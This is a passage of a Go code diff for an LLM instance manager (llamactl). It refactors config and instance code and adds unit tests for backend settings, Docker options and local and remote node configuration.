-		t.Fatalf("Failed to write test config file: %v", err)
-	}
-
-	_, err = config.LoadConfig(configFile)
-	if err == nil {
-		t.Error("Expected LoadConfig to return error for invalid YAML")
-	}
-}
 
 func TestParsePortRange(t *testing.T) {
 	tests := []struct {
@@ -264,94 +248,259 @@ func TestParsePortRange(t *testing.T) {
 	}
 }
 
-// Remove the getDefaultConfigLocations test entirely
 
-func TestLoadConfig_EnvironmentVariableTypes(t *testing.T) {
-	// Test that environment variables are properly converted to correct types
-	testCases := []struct {
-		envVar   string
-		envValue string
-		checkFn  func(*config.AppConfig) bool
-		desc     string
-	}{
-		{
-			envVar:   "LLAMACTL_PORT",
-			envValue: "invalid-port",
-			checkFn:  func(c *config.AppConfig) bool { return c.Server.Port == 8080 }, // Should keep default
-			desc:     "invalid port number should keep default",
+func TestGetBackendSettings_NewStructuredConfig(t *testing.T) {
+	bc := &config.BackendConfig{
+		LlamaCpp: config.BackendSettings{
+			Command: "custom-llama",
+			Args:    []string{"--verbose"},
+			Docker: &config.DockerSettings{
+				Enabled:     true,
+				Image:       "custom-llama:latest",
+				Args:        []string{"--gpus", "all"},
+				Environment: map[string]string{"CUDA_VISIBLE_DEVICES": "1"},
+			},
 		},
-		{
-			envVar:   "LLAMACTL_MAX_INSTANCES",
-			envValue: "not-a-number",
-			checkFn:  func(c *config.AppConfig) bool { return c.Instances.MaxInstances == -1 }, // Should keep default
-			desc:     "invalid max instances should keep default",
+		VLLM: config.BackendSettings{
+			Command: "custom-vllm",
+			Args:    []string{"serve", "--debug"},
 		},
-		{
-			envVar:   "LLAMACTL_DEFAULT_AUTO_RESTART",
-			envValue: "invalid-bool",
-			checkFn:  func(c *config.AppConfig) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default
-			desc:     "invalid boolean should keep default",
-		},
-		{
-			envVar:   "LLAMACTL_INSTANCE_PORT_RANGE",
-			envValue: "invalid-range",
-			checkFn:  func(c *config.AppConfig) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default
-			desc:     "invalid port range should keep default",
+		MLX: config.BackendSettings{
+			Command: "custom-mlx",
+			Args:    []string{},
 		},
 	}
 
-	for _, tc := range testCases {
-		t.Run(tc.desc, func(t *testing.T) {
-			os.Setenv(tc.envVar, tc.envValue)
-			defer os.Unsetenv(tc.envVar)
+	// Test llama-cpp with Docker
+	settings := getBackendSettings(bc, "llama-cpp")
+	if settings.Command != "custom-llama" {
+		t.Errorf("Expected command 'custom-llama', got %q", settings.Command)
+	}
+	if len(settings.Args) != 1 || settings.Args[0] != "--verbose" {
+		t.Errorf("Expected args ['--verbose'], got %v", settings.Args)
+	}
+	if settings.Docker == nil || !settings.Docker.Enabled {
+		t.Error("Expected Docker to be enabled")
+	}
+	if settings.Docker.Image != "custom-llama:latest" {
+		t.Errorf("Expected Docker image 'custom-llama:latest', got %q", settings.Docker.Image)
+	}
 
-			cfg, err := config.LoadConfig("nonexistent-file.yaml")
-			if err != nil {
-				t.Fatalf("LoadConfig failed: %v", err)
-			}
+	// Test vLLM without Docker
+	settings = getBackendSettings(bc, "vllm")
+	if settings.Command != "custom-vllm" {
+		t.Errorf("Expected command 'custom-vllm', got %q", settings.Command)
+	}
+	if len(settings.Args) != 2 || settings.Args[0] != "serve" || settings.Args[1] != "--debug" {
+		t.Errorf("Expected args ['serve', '--debug'], got %v", settings.Args)
+	}
+	if settings.Docker != nil && settings.Docker.Enabled {
+		t.Error("Expected Docker to be disabled or nil")
+	}
 
-			if !tc.checkFn(&cfg) {
-				t.Errorf("Test failed: %s", tc.desc)
-			}
-		})
+	// Test MLX
+	settings = getBackendSettings(bc, "mlx")
+	if settings.Command != "custom-mlx" {
+		t.Errorf("Expected command 'custom-mlx', got %q", settings.Command)
 	}
 }
 
-func TestLoadConfig_PartialFile(t *testing.T) {
-	// Test that partial config files work correctly (missing sections should use defaults)
-	tempDir := t.TempDir()
-	configFile := filepath.Join(tempDir, "partial-config.yaml")
 
-	// Only specify server config, instances should use defaults
-	configContent := `
-server:
-  host: "partial-host"
-  port: 7777
-`
-
-	err := os.WriteFile(configFile, []byte(configContent), 0644)
-	if err != nil {
-		t.Fatalf("Failed to write test config file: %v", err)
+func TestLoadConfig_BackendEnvironmentVariables(t *testing.T) {
+	// Test that backend environment variables work correctly
+	envVars := map[string]string{
+		"LLAMACTL_LLAMACPP_COMMAND":        "env-llama",
+		"LLAMACTL_LLAMACPP_ARGS":           "--verbose --threads 4",
+		"LLAMACTL_LLAMACPP_DOCKER_ENABLED": "true",
+		"LLAMACTL_LLAMACPP_DOCKER_IMAGE":   "env-llama:latest",
+		"LLAMACTL_LLAMACPP_DOCKER_ARGS":    "run --rm --network host --gpus all",
+		"LLAMACTL_LLAMACPP_DOCKER_ENV":     "CUDA_VISIBLE_DEVICES=0,OMP_NUM_THREADS=4",
+		"LLAMACTL_VLLM_COMMAND":            "env-vllm",
+		"LLAMACTL_VLLM_DOCKER_ENABLED":     "false",
+		"LLAMACTL_VLLM_DOCKER_IMAGE":       "env-vllm:latest",
+		"LLAMACTL_VLLM_DOCKER_ENV":         "PYTORCH_CUDA_ALLOC_CONF=max_split_size_mb:512,CUDA_VISIBLE_DEVICES=1",
+		"LLAMACTL_MLX_COMMAND":             "env-mlx",
 	}
 
-	cfg, err := config.LoadConfig(configFile)
+	// Set env vars and ensure cleanup
+	for key, value := range envVars {
+		os.Setenv(key, value)
+		defer os.Unsetenv(key)
+	}
+
+	cfg, err := config.LoadConfig("nonexistent-file.yaml")
 	if err != nil {
 		t.Fatalf("LoadConfig failed: %v", err)
 	}
 
-	// Server config should be from file
-	if cfg.Server.Host != "partial-host" {
-		t.Errorf("Expected host 'partial-host', got %q", cfg.Server.Host)
+	// Verify llama-cpp environment overrides
+	if cfg.Backends.LlamaCpp.Command != "env-llama" {
+		t.Errorf("Expected llama command 'env-llama', got %q", cfg.Backends.LlamaCpp.Command)
 	}
-	if cfg.Server.Port != 7777 {
-		t.Errorf("Expected port 7777, got %d", cfg.Server.Port)
+	expectedArgs := []string{"--verbose", "--threads", "4"}
+	if len(cfg.Backends.LlamaCpp.Args) != len(expectedArgs) {
+		t.Errorf("Expected llama args %v, got %v", expectedArgs, cfg.Backends.LlamaCpp.Args)
+	}
+	if !cfg.Backends.LlamaCpp.Docker.Enabled {
+		t.Error("Expected llama Docker to be enabled")
+	}
+	if cfg.Backends.LlamaCpp.Docker.Image != "env-llama:latest" {
+		t.Errorf("Expected llama Docker image 'env-llama:latest', got %q", cfg.Backends.LlamaCpp.Docker.Image)
+	}
+	expectedDockerArgs := []string{"run", "--rm", "--network", "host", "--gpus", "all"}
+	if len(cfg.Backends.LlamaCpp.Docker.Args) != len(expectedDockerArgs) {
+		t.Errorf("Expected llama Docker args %v, got %v", expectedDockerArgs, cfg.Backends.LlamaCpp.Docker.Args)
+	}
+	if cfg.Backends.LlamaCpp.Docker.Environment["CUDA_VISIBLE_DEVICES"] != "0" {
+		t.Errorf("Expected CUDA_VISIBLE_DEVICES=0, got %q", cfg.Backends.LlamaCpp.Docker.Environment["CUDA_VISIBLE_DEVICES"])
+	}
+	if cfg.Backends.LlamaCpp.Docker.Environment["OMP_NUM_THREADS"] != "4" {
+		t.Errorf("Expected OMP_NUM_THREADS=4, got %q", cfg.Backends.LlamaCpp.Docker.Environment["OMP_NUM_THREADS"])
 	}
 
-	// Instances config should be defaults
-	if cfg.Instances.PortRange != [2]int{8000, 9000} {
-		t.Errorf("Expected default port range [8000, 9000], got %v", cfg.Instances.PortRange)
+	// Verify vLLM environment overrides
+	if cfg.Backends.VLLM.Command != "env-vllm" {
+		t.Errorf("Expected vLLM command 'env-vllm', got %q", cfg.Backends.VLLM.Command)
 	}
-	if cfg.Instances.MaxInstances != -1 {
-		t.Errorf("Expected default max instances -1, got %d", cfg.Instances.MaxInstances)
+	if cfg.Backends.VLLM.Docker.Enabled {
+		t.Error("Expected vLLM Docker to be disabled")
+	}
+	if cfg.Backends.VLLM.Docker.Environment["PYTORCH_CUDA_ALLOC_CONF"] != "max_split_size_mb:512" {
+		t.Errorf("Expected PYTORCH_CUDA_ALLOC_CONF=max_split_size_mb:512, got %q", cfg.Backends.VLLM.Docker.Environment["PYTORCH_CUDA_ALLOC_CONF"])
+	}
+
+	// Verify MLX environment overrides
+	if cfg.Backends.MLX.Command != "env-mlx" {
+		t.Errorf("Expected MLX command 'env-mlx', got %q", cfg.Backends.MLX.Command)
 	}
 }
+
+
+func TestLoadConfig_LocalNode(t *testing.T) {
+	t.Run("default local node", func(t *testing.T) {
+		cfg, err := config.LoadConfig("nonexistent-file.yaml")
+		if err != nil {
+			t.Fatalf("LoadConfig failed: %v", err)
+		}
+
+		if cfg.LocalNode != "main" {
+			t.Errorf("Expected default local node 'main', got %q", cfg.LocalNode)
+		}
+	})
+
+	t.Run("local node from file", func(t *testing.T) {
+		tempDir := t.TempDir()
+		configFile := filepath.Join(tempDir, "test-config.yaml")
+
+		configContent := `
+local_node: "worker1"
+nodes:
+  worker1:
+    address: ""
+  worker2:
+    address: "http://192.168.1.10:8080"
+    api_key: "test-key"
+`
+
+		err := os.WriteFile(configFile, []byte(configContent), 0644)
+		if err != nil {
+			t.Fatalf("Failed to write test config file: %v", err)
+		}
+
+		cfg, err := config.LoadConfig(configFile)
+		if err != nil {
+			t.Fatalf("LoadConfig failed: %v", err)
+		}
+
+		if cfg.LocalNode != "worker1" {
+			t.Errorf("Expected local node 'worker1', got %q", cfg.LocalNode)
+		}
+
+		// Verify nodes map (includes default "main" + worker1 + worker2)
+		if len(cfg.Nodes) != 2 {
+			t.Errorf("Expected 2 nodes (default worker1 + worker2), got %d", len(cfg.Nodes))
+		}
+
+		// Verify local node exists and is empty
+		localNode, exists := cfg.Nodes["worker1"]
+		if !exists {
+			t.Error("Expected local node 'worker1' to exist in nodes map")
+		}
+		if localNode.Address != "" {
+			t.Errorf("Expected local node address to be empty, got %q", localNode.Address)
+		}
+		if localNode.APIKey != "" {
+			t.Errorf("Expected local node api_key to be empty, got %q", localNode.APIKey)
+		}
+
+		// Verify remote node
+		remoteNode, exists := cfg.Nodes["worker2"]
+		if !exists {
+			t.Error("Expected remote node 'worker2' to exist in nodes map")
+		}
+		if remoteNode.Address != "http://192.168.1.10:8080" {
+			t.Errorf("Expected remote node address 'http://192.168.1.10:8080', got %q", remoteNode.Address)
+		}
+
+		// Verify default main node still exists
+		_, exists = cfg.Nodes["main"]
+		if exists {
+			t.Error("Default 'main' node should not exist when local_node is overridden")
+		}
+	})
+
+	t.Run("custom local node name in config", func(t *testing.T) {
+		tempDir := t.TempDir()
+		configFile := filepath.Join(tempDir, "test-config.yaml")
+
+		configContent := `
+local_node: "primary"
+nodes:
+  primary:
+    address: ""
+  worker1:
+    address: "http://192.168.1.10:8080"
+`
+
+		err := os.WriteFile(configFile, []byte(configContent), 0644)
+		if err != nil {
+			t.Fatalf("Failed to write test config file: %v", err)
+		}
+
+		cfg, err := config.LoadConfig(configFile)
+		if err != nil {
+			t.Fatalf("LoadConfig failed: %v", err)
+		}
+
+		if cfg.LocalNode != "primary" {
+			t.Errorf("Expected local node 'primary', got %q", cfg.LocalNode)
+		}
+
+		// Verify nodes map includes default "main" + primary + worker1
+		if len(cfg.Nodes) != 2 {
+			t.Errorf("Expected 2 nodes (primary + worker1), got %d", len(cfg.Nodes))
+		}
+
+		localNode, exists := cfg.Nodes["primary"]
+		if !exists {
+			t.Error("Expected local node 'primary' to exist in nodes map")
+		}
+		if localNode.Address != "" {
+			t.Errorf("Expected local node address to be empty, got %q", localNode.Address)
+		}
+	})
+
+	t.Run("local node from environment variable", func(t *testing.T) {
+		os.Setenv("LLAMACTL_LOCAL_NODE", "custom-node")
+		defer os.Unsetenv("LLAMACTL_LOCAL_NODE")
+
+		cfg, err := config.LoadConfig("nonexistent-file.yaml")
+		if err != nil {
+			t.Fatalf("LoadConfig failed: %v", err)
+		}
+
+		if cfg.LocalNode != "custom-node" {
+			t.Errorf("Expected local node 'custom-node' from env var, got %q", cfg.LocalNode)
+		}
+	})
+}

pkg/instance/instance.go

@@ -1,223 +1,316 @@
 package instance
 
 import (
-	"context"
 	"encoding/json"
 	"fmt"
-	"io"
-	"llamactl/pkg/backends"
 	"llamactl/pkg/config"
 	"log"
-	"net/http"
 	"net/http/httputil"
-	"net/url"
-	"os/exec"
-	"sync"
-	"sync/atomic"
 	"time"
 )
 
-// TimeProvider interface allows for testing with mock time
-type TimeProvider interface {
-	Now() time.Time
+// Instance represents a running instance of the llama server
+type Instance struct {
+	Name    string `json:"name"`
+	Created int64  `json:"created,omitempty"` // Unix timestamp when the instance was created
+
+	// Global configuration
+	globalInstanceSettings *config.InstancesConfig
+	globalBackendSettings  *config.BackendConfig
+	globalNodesConfig      map[string]config.NodeConfig
+	localNodeName          string `json:"-"` // Name of the local node for remote detection
+
+	status  *status  `json:"-"`
+	options *options `json:"-"`
+
+	// Components (can be nil for remote instances)
+	process *process `json:"-"`
+	proxy   *proxy   `json:"-"`
+	logger  *logger  `json:"-"`
 }
 
-// realTimeProvider implements TimeProvider using the actual time
-type realTimeProvider struct{}
+// New creates a new instance with the given name, log path, options and local node name
+func New(name string, globalConfig *config.AppConfig, opts *Options, onStatusChange func(oldStatus, newStatus Status)) *Instance {
 
-func (realTimeProvider) Now() time.Time {
-	return time.Now()
-}
+	globalInstanceSettings := &globalConfig.Instances
+	globalBackendSettings := &globalConfig.Backends
+	globalNodesConfig := globalConfig.Nodes
+	localNodeName := globalConfig.LocalNode
 
-// Process represents a running instance of the llama server
-type Process struct {
-	Name           string                 `json:"name"`
-	options        *CreateInstanceOptions `json:"-"`
-	globalSettings *config.InstancesConfig
-
-	// Status
-	Status         InstanceStatus `json:"status"`
-	onStatusChange func(oldStatus, newStatus InstanceStatus)
-
-	// Creation time
-	Created int64 `json:"created,omitempty"` // Unix timestamp when the instance was created
-
-	// Logging file
-	logger *InstanceLogger `json:"-"`
-
-	// internal
-	cmd      *exec.Cmd              `json:"-"` // Command to run the instance
-	ctx      context.Context        `json:"-"` // Context for managing the instance lifecycle
-	cancel   context.CancelFunc     `json:"-"` // Function to cancel the context
-	stdout   io.ReadCloser          `json:"-"` // Standard output stream
-	stderr   io.ReadCloser          `json:"-"` // Standard error stream
-	mu       sync.RWMutex           `json:"-"` // RWMutex for better read/write separation
-	restarts int                    `json:"-"` // Number of restarts
-	proxy    *httputil.ReverseProxy `json:"-"` // Reverse proxy for this instance
-
-	// Restart control
-	restartCancel context.CancelFunc `json:"-"` // Cancel function for pending restarts
-	monitorDone   chan struct{}      `json:"-"` // Channel to signal monitor goroutine completion
-
-	// Timeout management
-	lastRequestTime atomic.Int64 // Unix timestamp of last request
-	timeProvider    TimeProvider `json:"-"` // Time provider for testing
-}
-
-// NewInstance creates a new instance with the given name, log path, and options
-func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions, onStatusChange func(oldStatus, newStatus InstanceStatus)) *Process {
 	// Validate and copy options
-	options.ValidateAndApplyDefaults(name, globalSettings)
+	opts.validateAndApplyDefaults(name, globalInstanceSettings)
 
-	// Create the instance logger
-	logger := NewInstanceLogger(name, globalSettings.LogsDir)
+	// Create status wrapper
+	status := newStatus(Stopped)
+	status.onStatusChange = onStatusChange
 
-	return &Process{
-		Name:           name,
-		options:        options,
-		globalSettings: globalSettings,
-		logger:         logger,
-		timeProvider:   realTimeProvider{},
-		Created:        time.Now().Unix(),
-		Status:         Stopped,
-		onStatusChange: onStatusChange,
+	// Create options wrapper
+	options := newOptions(opts)
+
+	instance := &Instance{
+		Name:                   name,
+		options:                options,
+		globalInstanceSettings: globalInstanceSettings,
+		globalBackendSettings:  globalBackendSettings,
+		globalNodesConfig:      globalNodesConfig,
+		localNodeName:          localNodeName,
+		Created:                time.Now().Unix(),
+		status:                 status,
+	}
+
+	var err error
+	instance.proxy, err = newProxy(instance)
+	if err != nil {
+		log.Println("Warning: Failed to create proxy for instance", instance.Name, "-", err)
+	}
+
+	// Only create logger, proxy, and process for local instances
+	if !instance.IsRemote() {
+		instance.logger = newLogger(name, globalInstanceSettings.LogsDir)
+		instance.process = newProcess(instance)
+	}
+
+	return instance
+}
+
+// Start starts the instance
+func (i *Instance) Start() error {
+	if i.process == nil {
+		return fmt.Errorf("instance %s has no process component (remote instances cannot be started locally)", i.Name)
+	}
+	return i.process.start()
+}
+
+// Stop stops the instance
+func (i *Instance) Stop() error {
+	if i.process == nil {
+		return fmt.Errorf("instance %s has no process component (remote instances cannot be stopped locally)", i.Name)
+	}
+	return i.process.stop()
+}
+
+// Restart restarts the instance
+func (i *Instance) Restart() error {
+	if i.process == nil {
+		return fmt.Errorf("instance %s has no process component (remote instances cannot be restarted locally)", i.Name)
+	}
+	return i.process.restart()
+}
+
+// WaitForHealthy waits for the instance to become healthy
+func (i *Instance) WaitForHealthy(timeout int) error {
+	if i.process == nil {
+		return fmt.Errorf("instance %s has no process component (remote instances cannot be health checked locally)", i.Name)
+	}
+	return i.process.waitForHealthy(timeout)
+}
+
+// GetOptions returns the current options
+func (i *Instance) GetOptions() *Options {
+	if i.options == nil {
+		return nil
+	}
+	return i.options.get()
+}
+
+// GetStatus returns the current status
+func (i *Instance) GetStatus() Status {
+	if i.status == nil {
+		return Stopped
+	}
+	return i.status.get()
+}
+
+// SetStatus sets the status
+func (i *Instance) SetStatus(s Status) {
+	if i.status != nil {
+		i.status.set(s)
 	}
 }
 
-func (i *Process) GetOptions() *CreateInstanceOptions {
-	i.mu.RLock()
-	defer i.mu.RUnlock()
-	return i.options
-}
-
-func (i *Process) GetPort() int {
-	i.mu.RLock()
-	defer i.mu.RUnlock()
-	if i.options != nil {
-		switch i.options.BackendType {
-		case backends.BackendTypeLlamaCpp:
-			return i.options.LlamaServerOptions.Port
-		}
+// IsRunning returns true if the status is Running
+func (i *Instance) IsRunning() bool {
+	if i.status == nil {
+		return false
 	}
-	return 0
+	return i.status.isRunning()
 }
 
-func (i *Process) GetHost() string {
-	i.mu.RLock()
-	defer i.mu.RUnlock()
-	if i.options != nil {
-		switch i.options.BackendType {
-		case backends.BackendTypeLlamaCpp:
-			return i.options.LlamaServerOptions.Host
-		}
-	}
-	return ""
-}
-
-func (i *Process) SetOptions(options *CreateInstanceOptions) {
-	i.mu.Lock()
-	defer i.mu.Unlock()
-
-	if options == nil {
+// SetOptions sets the options
+func (i *Instance) SetOptions(opts *Options) {
+	if opts == nil {
 		log.Println("Warning: Attempted to set nil options on instance", i.Name)
 		return
 	}
 
-	// Validate and copy options
-	options.ValidateAndApplyDefaults(i.Name, i.globalSettings)
+	// Preserve the original nodes to prevent changing instance location
+	if i.options != nil && i.options.get() != nil {
+		opts.Nodes = i.options.get().Nodes
+	}
+
+	// Validate and copy options
+	opts.validateAndApplyDefaults(i.Name, i.globalInstanceSettings)
+
+	if i.options != nil {
+		i.options.set(opts)
+	}
 
-	i.options = options
 	// Clear the proxy so it gets recreated with new options
-	i.proxy = nil
+	if i.proxy != nil {
+		i.proxy.clear()
+	}
 }
 
 // SetTimeProvider sets a custom time provider for testing
-func (i *Process) SetTimeProvider(tp TimeProvider) {
-	i.timeProvider = tp
+func (i *Instance) SetTimeProvider(tp TimeProvider) {
+	if i.proxy != nil {
+		i.proxy.setTimeProvider(tp)
+	}
 }
 
-// GetProxy returns the reverse proxy for this instance, creating it if needed
-func (i *Process) GetProxy() (*httputil.ReverseProxy, error) {
-	i.mu.Lock()
-	defer i.mu.Unlock()
-
-	if i.proxy != nil {
-		return i.proxy, nil
-	}
-
+func (i *Instance) GetHost() string {
 	if i.options == nil {
-		return nil, fmt.Errorf("instance %s has no options set", i.Name)
+		return "localhost"
+	}
+	return i.options.GetHost()
+}
+
+func (i *Instance) GetPort() int {
+	if i.options == nil {
+		return 0
+	}
+	return i.options.GetPort()
+}
+
+// GetProxy returns the reverse proxy for this instance
+func (i *Instance) GetProxy() (*httputil.ReverseProxy, error) {
+	if i.proxy == nil {
+		return nil, fmt.Errorf("instance %s has no proxy component", i.Name)
 	}
 
-	var host string
-	var port int
-	switch i.options.BackendType {
-	case backends.BackendTypeLlamaCpp:
-		host = i.options.LlamaServerOptions.Host
-		port = i.options.LlamaServerOptions.Port
+	return i.proxy.get()
+}
+
+func (i *Instance) IsRemote() bool {
+	opts := i.GetOptions()
+	if opts == nil {
+		return false
 	}
 
-	targetURL, err := url.Parse(fmt.Sprintf("http://%s:%d", host, port))
-	if err != nil {
-		return nil, fmt.Errorf("failed to parse target URL for instance %s: %w", i.Name, err)
+	// If no nodes specified, it's a local instance
+	if len(opts.Nodes) == 0 {
+		return false
 	}
 
-	proxy := httputil.NewSingleHostReverseProxy(targetURL)
+	// If the local node is in the nodes map, treat it as a local instance
+	if _, isLocal := opts.Nodes[i.localNodeName]; isLocal {
+		return false
+	}
 
-	proxy.ModifyResponse = func(resp *http.Response) error {
-		// Remove CORS headers from llama-server response to avoid conflicts
-		// llamactl will add its own CORS headers
-		resp.Header.Del("Access-Control-Allow-Origin")
-		resp.Header.Del("Access-Control-Allow-Methods")
-		resp.Header.Del("Access-Control-Allow-Headers")
-		resp.Header.Del("Access-Control-Allow-Credentials")
-		resp.Header.Del("Access-Control-Max-Age")
-		resp.Header.Del("Access-Control-Expose-Headers")
+	// Otherwise, it's a remote instance
+	return true
+}
+
+// GetLogs retrieves the last n lines of logs from the instance
+func (i *Instance) GetLogs(num_lines int) (string, error) {
+	if i.logger == nil {
+		return "", fmt.Errorf("instance %s has no logger (remote instances don't have logs)", i.Name)
+	}
+	return i.logger.getLogs(num_lines)
+}
+
+// LastRequestTime returns the last request time as a Unix timestamp
+func (i *Instance) LastRequestTime() int64 {
+	if i.proxy == nil {
+		return 0
+	}
+	return i.proxy.getLastRequestTime()
+}
+
+// UpdateLastRequestTime updates the last request access time for the instance via proxy
+func (i *Instance) UpdateLastRequestTime() {
+	if i.proxy != nil {
+		i.proxy.updateLastRequestTime()
+	}
+}
+
+// ShouldTimeout checks if the instance should timeout based on idle time
+func (i *Instance) ShouldTimeout() bool {
+	if i.proxy == nil {
+		return false
+	}
+	return i.proxy.shouldTimeout()
+}
+
+func (i *Instance) getCommand() string {
+	opts := i.GetOptions()
+	if opts == nil {
+		return ""
+	}
+
+	return opts.BackendOptions.GetCommand(i.globalBackendSettings)
+}
+
+func (i *Instance) buildCommandArgs() []string {
+	opts := i.GetOptions()
+	if opts == nil {
 		return nil
 	}
 
-	i.proxy = proxy
+	return opts.BackendOptions.BuildCommandArgs(i.globalBackendSettings)
+}
 
-	return i.proxy, nil
+func (i *Instance) buildEnvironment() map[string]string {
+	opts := i.GetOptions()
+	if opts == nil {
+		return nil
+	}
+
+	return opts.BackendOptions.BuildEnvironment(i.globalBackendSettings, opts.Environment)
 }
 
 // MarshalJSON implements json.Marshaler for Instance
-func (i *Process) MarshalJSON() ([]byte, error) {
-	// Use read lock since we're only reading data
-	i.mu.RLock()
-	defer i.mu.RUnlock()
+func (i *Instance) MarshalJSON() ([]byte, error) {
+	// Get options
+	opts := i.GetOptions()
+
+	// Determine if docker is enabled for this instance's backend
+	dockerEnabled := opts.BackendOptions.IsDockerEnabled(i.globalBackendSettings)
 
-	// Use anonymous struct to avoid recursion
-	type Alias Process
 	return json.Marshal(&struct {
-		*Alias
-		Options *CreateInstanceOptions `json:"options,omitempty"`
+		Name          string   `json:"name"`
+		Status        *status  `json:"status"`
+		Created       int64    `json:"created,omitempty"`
+		Options       *options `json:"options,omitempty"`
+		DockerEnabled bool     `json:"docker_enabled,omitempty"`
 	}{
-		Alias:   (*Alias)(i),
-		Options: i.options,
+		Name:          i.Name,
+		Status:        i.status,
+		Created:       i.Created,
+		Options:       i.options,
+		DockerEnabled: dockerEnabled,
 	})
 }
 
 // UnmarshalJSON implements json.Unmarshaler for Instance
-func (i *Process) UnmarshalJSON(data []byte) error {
-	// Use anonymous struct to avoid recursion
-	type Alias Process
+func (i *Instance) UnmarshalJSON(data []byte) error {
+	// Explicitly deserialize to match MarshalJSON format
 	aux := &struct {
-		*Alias
-		Options *CreateInstanceOptions `json:"options,omitempty"`
-	}{
-		Alias: (*Alias)(i),
-	}
+		Name    string   `json:"name"`
+		Status  *status  `json:"status"`
+		Created int64    `json:"created,omitempty"`
+		Options *options `json:"options,omitempty"`
+	}{}
 
 	if err := json.Unmarshal(data, aux); err != nil {
 		return err
 	}
 
-	// Handle options with validation and defaults
-	if aux.Options != nil {
-		aux.Options.ValidateAndApplyDefaults(i.Name, i.globalSettings)
-		i.options = aux.Options
-	}
+	// Set the fields
+	i.Name = aux.Name
+	i.Created = aux.Created
+	i.status = aux.Status
+	i.options = aux.Options
 
 	return nil
 }

pkg/instance/instance_test.go

@@ -3,33 +3,53 @@ package instance_test
 import (
 	"encoding/json"
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/testutil"
 	"testing"
+	"time"
 )
 
 func TestNewInstance(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir:             "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
+	globalConfig := &config.AppConfig{
+		Backends: config.BackendConfig{
+			LlamaCpp: config.BackendSettings{
+				Command: "llama-server",
+				Args:    []string{},
+			},
+			MLX: config.BackendSettings{
+				Command: "mlx_lm.server",
+				Args:    []string{},
+			},
+			VLLM: config.BackendSettings{
+				Command: "vllm",
+				Args:    []string{"serve"},
+			},
+		},
+		Instances: config.InstancesConfig{
+			LogsDir:             "/tmp/test",
+			DefaultAutoRestart:  true,
+			DefaultMaxRestarts:  3,
+			DefaultRestartDelay: 5,
+		},
+		Nodes:     map[string]config.NodeConfig{},
+		LocalNode: "main",
 	}
 
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8080,
+			},
 		},
 	}
 
 	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+	mockOnStatusChange := func(oldStatus, newStatus instance.Status) {}
 
-	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
+	inst := instance.New("test-instance", globalConfig, options, mockOnStatusChange)
 
 	if inst.Name != "test-instance" {
 		t.Errorf("Expected name 'test-instance', got %q", inst.Name)
@@ -40,8 +60,8 @@ func TestNewInstance(t *testing.T) {
 
 	// Check that options were properly set with defaults applied
 	opts := inst.GetOptions()
-	if opts.LlamaServerOptions.Model != "/path/to/model.gguf" {
-		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.LlamaServerOptions.Model)
+	if opts.BackendOptions.LlamaServerOptions.Model != "/path/to/model.gguf" {
+		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.BackendOptions.LlamaServerOptions.Model)
 	}
 	if inst.GetPort() != 8080 {
 		t.Errorf("Expected port 8080, got %d", inst.GetPort())
@@ -57,84 +77,89 @@ func TestNewInstance(t *testing.T) {
 	if opts.RestartDelay == nil || *opts.RestartDelay != 5 {
 		t.Errorf("Expected RestartDelay to be 5 (default), got %v", opts.RestartDelay)
 	}
-}
 
-func TestNewInstance_WithRestartOptions(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir:             "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-
-	// Override some defaults
+	// Test that explicit values override defaults
 	autoRestart := false
 	maxRestarts := 10
-	restartDelay := 15
-
-	options := &instance.CreateInstanceOptions{
-		AutoRestart:  &autoRestart,
-		MaxRestarts:  &maxRestarts,
-		RestartDelay: &restartDelay,
-		BackendType:  backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
+	optionsWithOverrides := &instance.Options{
+		AutoRestart: &autoRestart,
+		MaxRestarts: &maxRestarts,
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+			},
 		},
 	}
 
-	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+	inst2 := instance.New("test-override", globalConfig, optionsWithOverrides, mockOnStatusChange)
+	opts2 := inst2.GetOptions()
 
-	instance := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-	opts := instance.GetOptions()
-
-	// Check that explicit values override defaults
-	if opts.AutoRestart == nil || *opts.AutoRestart {
+	if opts2.AutoRestart == nil || *opts2.AutoRestart {
 		t.Error("Expected AutoRestart to be false (overridden)")
 	}
-	if opts.MaxRestarts == nil || *opts.MaxRestarts != 10 {
-		t.Errorf("Expected MaxRestarts to be 10 (overridden), got %v", opts.MaxRestarts)
-	}
-	if opts.RestartDelay == nil || *opts.RestartDelay != 15 {
-		t.Errorf("Expected RestartDelay to be 15 (overridden), got %v", opts.RestartDelay)
+	if opts2.MaxRestarts == nil || *opts2.MaxRestarts != 10 {
+		t.Errorf("Expected MaxRestarts to be 10 (overridden), got %v", opts2.MaxRestarts)
 	}
 }
 
 func TestSetOptions(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir:             "/tmp/test",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
+	globalConfig := &config.AppConfig{
